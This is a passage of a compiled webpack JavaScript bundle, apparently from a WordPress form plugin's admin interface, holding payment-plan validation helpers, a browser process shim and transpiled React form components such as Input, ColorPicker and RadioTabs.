slug: question.slug,
question: question
});
}
});
}
});
questionsArray = _.uniq(questionsArray, 'slug');
}
return questionsArray;
}
/**
* Get payment plan validation
*
* @param {array} validation
* @param {array} payments
*
* @return {array}
*/
function getPlanValidation(validation, payments) {
var paymentIndex = [];
_.each(payments, function (payment, index) {
if (!payment.amount_type || !payment.plan_name) {
validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
validation.isValid = false;
paymentIndex.push(index);
}
if ('single' === payment.payment_method && ('fixed' === payment.amount_type && _.isEmpty(payment.amount) || 'variable' === payment.amount_type && _.isEmpty(payment.variable))) {
validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
validation.isValid = false;
paymentIndex.push(index);
} else if ('subscription' === payment.payment_method) {
var subscriptionAmount = !_.isUndefined(payment.subscription_amount_type) ? payment.subscription_amount_type : 'fixed';
var subscriptionQuantity = !_.isUndefined(payment.quantity_type) ? payment.quantity_type : 'fixed';
var Quantity = !_.isUndefined(payment.quantity) ? payment.quantity : 1;
var BillInput = !_.isUndefined(payment.bill_input) ? payment.bill_input : 1;
if ('fixed' === subscriptionAmount && _.isEmpty(payment.subscription_amount) || 'variable' === subscriptionAmount && _.isEmpty(payment.subscription_variable)) {
validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
validation.isValid = false;
paymentIndex.push(index);
}
if ('fixed' === subscriptionQuantity && !Quantity || 'variable' === subscriptionQuantity && _.isEmpty(payment.variable_quantity)) {
validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
validation.isValid = false;
paymentIndex.push(index);
}
if (!BillInput) {
validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
validation.isValid = false;
paymentIndex.push(index);
} else if (BillInput <= 0) {
validation.error = translate('Billing frequency should be greater than or equal to 1');
validation.isValid = false;
paymentIndex.push(index);
}
}
});
if (paymentIndex.length > 0) {
validation.paymentKey = paymentIndex;
}
return validation;
}
/**
* Check if value evaluates to true
*
* @param {string} value
*
* @return {bool}
*/
function isTrue(value) {
if ('undefined' === typeof value) {
return false;
}
if ('string' === typeof value) {
value = value.trim().toLowerCase();
}
switch (value) {
case true:
case "true":
case 1:
case "1":
case "on":
case "yes":
return true;
default:
return false;
}
}
/**
* Parse query string
* *
* @return {string}
*/
function parseQueryString() {
var parsedParameters = {},
uriParameters = location.search.substring(1).split('&');
for (var i = 0; i < uriParameters.length; i++) {
var parameter = uriParameters[i].split('=');
parsedParameters[parameter[0]] = decodeURIComponent(parameter[1]);
}
return parsedParameters;
}
/** Go to link
*
* @param {string} value
*
*/
function goToLink(link) {
var target = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '_blank';
window.open(link, target);
}
/***/ }),
/* 2 */
/***/ (function(module, exports) {
// shim for using process in browser
var process = module.exports = {};
// cached from whatever global is present so that test runners that stub it
// don't break things. But we need to wrap it in a try catch in case it is
// wrapped in strict mode code which doesn't define any globals. It's inside a
// function because try/catches deoptimize in certain engines.
var cachedSetTimeout;
var cachedClearTimeout;
function defaultSetTimout() {
throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout () {
throw new Error('clearTimeout has not been defined');
}
(function () {
try {
if (typeof setTimeout === 'function') {
cachedSetTimeout = setTimeout;
} else {
cachedSetTimeout = defaultSetTimout;
}
} catch (e) {
cachedSetTimeout = defaultSetTimout;
}
try {
if (typeof clearTimeout === 'function') {
cachedClearTimeout = clearTimeout;
} else {
cachedClearTimeout = defaultClearTimeout;
}
} catch (e) {
cachedClearTimeout = defaultClearTimeout;
}
} ())
function runTimeout(fun) {
if (cachedSetTimeout === setTimeout) {
//normal enviroments in sane situations
return setTimeout(fun, 0);
}
// if setTimeout wasn't available but was latter defined
if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {
cachedSetTimeout = setTimeout;
return setTimeout(fun, 0);
}
try {
// when when somebody has screwed with setTimeout but no I.E. maddness
return cachedSetTimeout(fun, 0);
} catch(e){
try {
// When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
return cachedSetTimeout.call(null, fun, 0);
} catch(e){
// same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error
return cachedSetTimeout.call(this, fun, 0);
}
}
}
function runClearTimeout(marker) {
if (cachedClearTimeout === clearTimeout) {
//normal enviroments in sane situations
return clearTimeout(marker);
}
// if clearTimeout wasn't available but was latter defined
if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
cachedClearTimeout = clearTimeout;
return clearTimeout(marker);
}
try {
// when when somebody has screwed with setTimeout but no I.E. maddness
return cachedClearTimeout(marker);
} catch (e){
try {
// When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
return cachedClearTimeout.call(null, marker);
} catch (e){
// same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.
// Some versions of I.E. have different rules for clearTimeout vs setTimeout
return cachedClearTimeout.call(this, marker);
}
}
}
var queue = [];
var draining = false;
var currentQueue;
var queueIndex = -1;
function cleanUpNextTick() {
if (!draining || !currentQueue) {
return;
}
draining = false;
if (currentQueue.length) {
queue = currentQueue.concat(queue);
} else {
queueIndex = -1;
}
if (queue.length) {
drainQueue();
}
}
function drainQueue() {
if (draining) {
return;
}
var timeout = runTimeout(cleanUpNextTick);
draining = true;
var len = queue.length;
while(len) {
currentQueue = queue;
queue = [];
while (++queueIndex < len) {
if (currentQueue) {
currentQueue[queueIndex].run();
}
}
queueIndex = -1;
len = queue.length;
}
currentQueue = null;
draining = false;
runClearTimeout(timeout);
}
process.nextTick = function (fun) {
var args = new Array(arguments.length - 1);
if (arguments.length > 1) {
for (var i = 1; i < arguments.length; i++) {
args[i - 1] = arguments[i];
}
}
queue.push(new Item(fun, args));
if (queue.length === 1 && !draining) {
runTimeout(drainQueue);
}
};
// v8 likes predictible objects
function Item(fun, array) {
this.fun = fun;
this.array = array;
}
Item.prototype.run = function () {
this.fun.apply(null, this.array);
};
process.title = 'browser';
process.browser = true;
process.env = {};
process.argv = [];
process.version = ''; // empty string to avoid regexp issues
process.versions = {};
function noop() {}
process.on = noop;
process.addListener = noop;
process.once = noop;
process.off = noop;
process.removeListener = noop;
process.removeAllListeners = noop;
process.emit = noop;
process.prependListener = noop;
process.prependOnceListener = noop;
process.listeners = function (name) { return [] }
process.binding = function (name) {
throw new Error('process.binding is not supported');
};
process.cwd = function () { return '/' };
process.chdir = function (dir) {
throw new Error('process.chdir is not supported');
};
process.umask = function() { return 0; };
/***/ }),
/* 3 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Input = function (_Component) {
_inherits(Input, _Component);
function Input(props) {
_classCallCheck(this, Input);
var _this = _possibleConstructorReturn(this, (Input.__proto__ || Object.getPrototypeOf(Input)).call(this, props));
_this.updateValue = _this.updateValue.bind(_this);
return _this;
}
_createClass(Input, [{
key: 'updateValue',
value: function updateValue(value) {
// Check if we're on field settings
if (typeof this.props.updateProperty === 'function') {
// Update field state
this.props.updateProperty(this.props.property, value);
} else {
// Update store
this.props.actions.settingsActions.updateSetting(this.props.property, value);
}
}
}, {
key: 'isValid',
value: function isValid(value) {
if (this.props.isRequired) {
return this.props.isRequired && !_.isEmpty(value);
} else if (!_.isUndefined(this.props.isPositive)) {
return _.isEmpty(value) || value >= 0;
}
return true;
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = _.isUndefined(this.props.settings[this.props.property]) ? this.props.defaultValue : this.props.settings[this.props.property];
var type = !_.isUndefined(this.props.type) ? this.props.type : 'text';
var requiredError = !_.isUndefined(this.props.requiredError) ? this.props.requiredError : (0, _utils.translate)('This field is required!');
var hasErrorClass = !this.isValid(value) ? 'sui-form-field-error' : '';
var fieldClass = !_.isUndefined(this.props.fieldClass) ? 'sui-form-field ' + this.props.fieldClass : 'sui-form-field';
var inputClass = 'sui-form-control';
if (!_.isUndefined(this.props.inputClass) && '' !== this.props.inputClass) {
inputClass += ' ' + this.props.inputClass;
}
if (!_.isUndefined(this.props.prefix) && '' !== this.props.prefix) {
inputClass += ' sui-field-has-prefix';
}
if (!_.isUndefined(this.props.suffix) && '' !== this.props.suffix) {
inputClass += ' sui-field-has-suffix';
}
var inputId = !_.isUndefined(this.props.inputId) ? this.props.inputId : this.props.property;
var inputLabel = void 0;
if (this.props.label) {
inputLabel = _react2.default.createElement(
'label',
{
htmlFor: 'forminator-field-' + inputId,
className: this.props.darkLabel ? 'sui-settings-label sui-dark' : 'sui-label'
},
this.props.label,
this.props.isRequired && _react2.default.createElement(
_react2.default.Fragment,
null,
'\xA0',
_react2.default.createElement(
'span',
{ className: 'sui-error' },
'*'
)
),
this.props.note && _react2.default.createElement(
'span',
{ className: 'sui-label-note' },
this.props.note
)
);
}
var inputField = _react2.default.createElement('input', _extends({ type: type,
placeholder: this.props.placeholder,
value: value || '',
id: 'forminator-field-' + inputId,
className: inputClass
}, this.props.notWritable && { readonly: '' }, this.props.minValue && { min: this.props.minValue }, this.props.maxValue && { max: this.props.maxValue }, this.props.step && { step: this.props.step }, this.props.maxLength && { maxLength: this.props.maxLength }, this.props.inputStyles && { style: this.props.inputStyles }, {
disabled: this.props.disabled ? true : false,
onChange: function onChange(e) {
_this2.updateValue(e.target.value);
}
}));
var getFields = _react2.default.createElement(
'div',
{ className: fieldClass + ' ' + hasErrorClass },
inputLabel,
!_.isUndefined(this.props.prefix) && '' !== this.props.prefix && _react2.default.createElement(
'span',
{ className: 'sui-field-prefix' },
this.props.prefix
),
!this.props.canTrash ? inputField : _react2.default.createElement(
'div',
{ className: 'sui-with-button sui-with-button-icon' },
inputField,
_react2.default.createElement(
'button',
{ className: 'sui-button-icon sui-tooltip sui-tooltip-top-right',
'data-tooltip': (0, _utils.translate)('Delete') },
_react2.default.createElement('i', { className: 'sui-icon-trash', 'aria-hidden': 'true' })
)
),
this.props.suffix && _react2.default.createElement(
'span',
{ className: 'sui-field-suffix' },
this.props.suffix
),
this.props.isRequired && !this.isValid(value) && _react2.default.createElement(
'span',
{ className: 'sui-error-message' },
requiredError
),
!_.isUndefined(this.props.isPositive) && !this.isValid(value) && _react2.default.createElement(
'span',
{ className: 'sui-error-message' },
(0, _utils.translate)('Please enter valid number.')
),
this.props.description && _react2.default.createElement(
'span',
{ className: 'sui-description' },
this.props.description
)
);
if (this.props.simple) {
return inputField;
}
return getFields;
}
}]);
return Input;
}(_react.Component);
exports.default = Input;
/***/ }),
/* 4 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Container = function (_Component) {
_inherits(Container, _Component);
function Container(props) {
_classCallCheck(this, Container);
return _possibleConstructorReturn(this, (Container.__proto__ || Object.getPrototypeOf(Container)).call(this, props));
}
_createClass(Container, [{
key: 'render',
value: function render() {
var children = _react2.default.Children.map(this.props.children, function (child) {
return child;
});
return _react2.default.createElement(
'div',
null,
children
);
}
}]);
return Container;
}(_react.Component);
exports.default = Container;
/***/ }),
/* 5 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Col = function (_Component) {
_inherits(Col, _Component);
function Col(props) {
_classCallCheck(this, Col);
return _possibleConstructorReturn(this, (Col.__proto__ || Object.getPrototypeOf(Col)).call(this, props));
}
_createClass(Col, [{
key: 'render',
value: function render() {
var children = _react2.default.Children.map(this.props.children, function (children) {
return children;
});
var customClass = this.props.customClass ? this.props.customClass : '';
return _react2.default.createElement(
'div',
{ className: 'sui-col-md-' + this.props.cols + ' ' + customClass },
children
);
}
}]);
return Col;
}(_react.Component);
exports.default = Col;
/***/ }),
/* 6 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ColorPicker = function (_Component) {
_inherits(ColorPicker, _Component);
function ColorPicker(props) {
_classCallCheck(this, ColorPicker);
var _this = _possibleConstructorReturn(this, (ColorPicker.__proto__ || Object.getPrototypeOf(ColorPicker)).call(this, props));
_this.updateValue = _this.updateValue.bind(_this);
return _this;
}
_createClass(ColorPicker, [{
key: 'componentDidMount',
value: function componentDidMount() {
this.$el = jQuery(this.el);
this.$el.wpColorPicker({
change: function change(event, ui) {
var $this = jQuery(this);
$this.val(ui.color.toCSS()).trigger('change');
},
palettes: ['#333333', '#FFFFFF', '#17A8E3', '#E1F6FF', '#666666', '#AAAAAA', '#E6E6E6']
});
var $suiPickerInput = this.$el,
$suiPicker = $suiPickerInput.closest('.sui-colorpicker-wrap'),
$suiPickerColor = $suiPicker.find('.sui-colorpicker-value span[role=button]'),
$suiPickerValue = $suiPicker.find('.sui-colorpicker-value'),
$suiPickerClear = $suiPickerValue.find('button');
var $wpPicker = $suiPickerInput.closest('.wp-picker-container'),
$wpPickerButton = $wpPicker.find('.wp-color-result'),
$wpPickerAlpha = $wpPickerButton.find('.color-alpha'),
$wpPickerClear = $wpPicker.find('.wp-picker-clear');
var $pickerBackground = $wpPickerAlpha;
// Check if alpha exists
if ($suiPickerInput.data('alpha') === true) {
$pickerBackground = $wpPickerAlpha;
} else {
$pickerBackground = $wpPickerButton;
}
// Listen to color change
$suiPickerInput.bind('change', function () {
// Change color preview
$suiPickerColor.find('span').css({
'background-color': $pickerBackground.css('background-color')
});
// Change color value
$suiPickerValue.find('input').val($suiPickerInput.val());
});
// Open iris picker
$suiPicker.find('.sui-button, span[role=button]').on('click', function (e) {
e.preventDefault();
e.stopPropagation();
$wpPickerButton.click();
});
// Clear color value
$suiPickerClear.on('click', function (e) {
e.preventDefault();
e.stopPropagation();
$wpPickerClear.click();
$suiPickerValue.find('input').val('');
$suiPickerColor.find('span').css({
'background-color': ''
});
});
this.updateValue = this.updateValue.bind(this);
this.$el.on('change', this.updateValue);
}
}, {
key: 'updateValue',
value: function updateValue(e) {
var value = e.target.value;
// Check if we're on field settings
if (typeof this.props.updateProperty === 'function') {
// Update field state
this.props.updateProperty(this.props.property, value);
} else {
// Update store
this.props.actions.settingsActions.updateSetting(this.props.property, value);
}
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
this.$el.off('change', this.updateValue);
this.$el.unbind().removeData();
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = _.isUndefined(this.props.settings[this.props.property]) || this.props.settings[this.props.property] === null ? this.props.defaultValue : this.props.settings[this.props.property];
var fieldLabel = '';
if (this.props.label) {
fieldLabel = _react2.default.createElement(
'label',
{ className: 'sui-label',
htmlFor: 'forminator-color-' + this.props.property },
this.props.label,
this.props.note && _react2.default.createElement(
'span',
{ className: 'sui-label-note' },
' ',
this.props.note
)
);
}
return _react2.default.createElement(
'div',
{ className: 'sui-form-field' },
fieldLabel,
_react2.default.createElement(
'div',
{ className: 'sui-colorpicker-wrap' },
_react2.default.createElement(
'div',
{
className: 'sui-colorpicker sui-colorpicker-' + (this.props.isAlpha ? 'rgba' : 'hex'),
'aria-hidden': 'true' },
_react2.default.createElement(
'div',
{ className: 'sui-colorpicker-value' },
_react2.default.createElement(
'span',
{ role: 'button' },
_react2.default.createElement('span', { style: { backgroundColor: value } })
),
_react2.default.createElement('input', { type: 'text', defaultValue: value,
readOnly: 'readonly' }),
_react2.default.createElement(
'button',
null,
_react2.default.createElement('i', { className: 'sui-icon-close', 'aria-hidden': 'true' })
)
),
_react2.default.createElement(
'button',
{ className: 'sui-button' },
(0, _utils.translate)('Select')
)
),
_react2.default.createElement('input', { ref: function ref(el) {
return _this2.el = el;
},
defaultValue: value,
id: 'forminator-color-' + this.props.property,
className: 'sui-colorpicker-input',
'data-alpha': this.props.isAlpha ? 'true' : 'false'
})
),
this.props.description && '' !== this.props.description && _react2.default.createElement(
'span',
{ className: 'sui-description' },
this.props.description
)
);
}
}]);
return ColorPicker;
}(_react.Component);
exports.default = ColorPicker;
/***/ }),
/* 7 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var RadioTabs = function (_Component) {
_inherits(RadioTabs, _Component);
function RadioTabs(props) {
_classCallCheck(this, RadioTabs);
return _possibleConstructorReturn(this, (RadioTabs.__proto__ || Object.getPrototypeOf(RadioTabs)).call(this, props));
}
_createClass(RadioTabs, [{
key: 'toggleValue',
value: function toggleValue(value) {
// Check if we're on field settings
if (typeof this.props.updateProperty === 'function') {
// Update field state
this.props.updateProperty(this.props.property, value);
} else {
// Update store
this.props.actions.settingsActions.updateSetting(this.props.property, value);
}
}
}, {
key: 'getDefaultValue',
value: function getDefaultValue() {
var defaultValue = this.props.default ? this.props.default : '';
var value = _.isUndefined(this.props.settings[this.props.property]) ? defaultValue : this.props.settings[this.props.property];
return value;
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = this.getDefaultValue();
var tabTitles = _react2.default.Children.map(this.props.children, function (tab) {
if (!tab) {
return _react2.default.createElement(_react2.default.Fragment, null);
}
var label = !_.isUndefined(tab.props.label) ? tab.props.label : tab.props.children;
if (_this2.props.disabled) {
return _react2.default.createElement(
'div',
{ className: 'sui-tab-item' + (tab.props.value === value ? ' active' : ''),
style: {
opacity: 0.5,
cursor: 'not-allowed'
}
},
label
);
}
if (!_this2.props.disabled) {
return _react2.default.createElement(
'div',
{ className: 'sui-tab-item' + (tab.props.value === value ? ' active' : ''),
onClick: _this2.toggleValue.bind(_this2, tab.props.value)
},
label
);
}
});
var contentClass = !_.isUndefined(this.props.divClass) ? 'sui-tabs-content ' + this.props.divClass : 'sui-tabs-content';
var tabContents = _react2.default.Children.map(this.props.children, function (tab) {
if (!tab) {
return _react2.default.createElement(_react2.default.Fragment, null);
}
var boxClass = !_.isUndefined(tab.props.boxClass) ? tab.props.boxClass : '';
if (tab.type.name !== 'Empty') {
return _react2.default.createElement(
'div',
{ className: boxClass + ' sui-tab-content' + (tab.props.value === value ? ' active' : '') },
tab.props.value === value && tab
);
}
return _react2.default.createElement(_react2.default.Fragment, null);
});
var tabsLabel = '';
if (this.props.label && '' !== this.props.label) {
tabsLabel = _react2.default.createElement(
'label',
{ htmlFor: 'forminator-field-' + this.props.property,
className: 'sui-label' },
this.props.label,
this.props.note && _react2.default.createElement(
'span',
{ className: 'sui-label-note' },
' ',
this.props.note
)
);
}
var settingsLabel = '';
if (this.props.settingsLabel && '' !== this.props.settingsLabel) {
var labelClass = this.props.labelClass ? this.props.labelClass : 'sui-settings-label';
settingsLabel = _react2.default.createElement(
'label',
{ className: labelClass },
this.props.settingsLabel
);
}
var description = '';
if (this.props.description && '' !== this.props.description) {
description = _react2.default.createElement(
'span',
{
className: 'sui-description',
style: { marginBottom: 10 }
},
this.props.description
);
}
var wrapperClass = !_.isUndefined(this.props.wrapperClass) ? this.props.wrapperClass : '';
wrapperClass = this.props.basicTabs ? 'sui-tabs sui-tabs-overflow ' + wrapperClass : 'sui-side-tabs ' + wrapperClass;
var tabsMarkup = _react2.default.createElement(
'div',
{ className: wrapperClass },
_react2.default.createElement(
'div',
{ className: 'sui-tabs-menu' },
tabTitles
),
_react2.default.createElement(
'div',
{ className: contentClass },
tabContents
)
);
if (!this.props.simple) {
tabsMarkup = _react2.default.createElement(
'div',
{ className: 'sui-form-field' },
settingsLabel,
tabsLabel,
description,
_react2.default.createElement(
'div',
{ className: wrapperClass },
_react2.default.createElement(
'div',
{ className: 'sui-tabs-menu' },
tabTitles
),
_react2.default.createElement(
'div',
{ className: contentClass },
tabContents
)
)
);
}
return tabsMarkup;
}
}]);
return RadioTabs;
}(_react.Component);
exports.default = RadioTabs;
/***/ }),
/* 8 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Row = function (_Component) {
_inherits(Row, _Component);
function Row(props) {
_classCallCheck(this, Row);
return _possibleConstructorReturn(this, (Row.__proto__ || Object.getPrototypeOf(Row)).call(this, props));
}
_createClass(Row, [{
key: 'render',
value: function render() {
var columns = _react2.default.Children.map(this.props.children, function (children) {
return children;
});
return _react2.default.createElement(
'div',
{ className: 'sui-row' + (!_.isUndefined(this.props.class) ? ' ' + this.props.class : '') },
columns
);
}
}]);
return Row;
}(_react.Component);
exports.default = Row;
/***/ }),
/* 9 */
/***/ (function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
if (process.env.NODE_ENV !== 'production') {
var REACT_ELEMENT_TYPE = (typeof Symbol === 'function' &&
Symbol.for &&
Symbol.for('react.element')) ||
0xeac7;
var isValidElement = function(object) {
return typeof object === 'object' &&
object !== null &&
object.$$typeof === REACT_ELEMENT_TYPE;
};
// By explicitly using `prop-types` you are opting into new development behavior.
// http://fb.me/prop-types-in-prod
var throwOnDirectAccess = true;
module.exports = __webpack_require__(116)(isValidElement, throwOnDirectAccess);
} else {
// By explicitly using `prop-types` you are opting into new production behavior.
// http://fb.me/prop-types-in-prod
module.exports = __webpack_require__(118)();
}
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 10 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
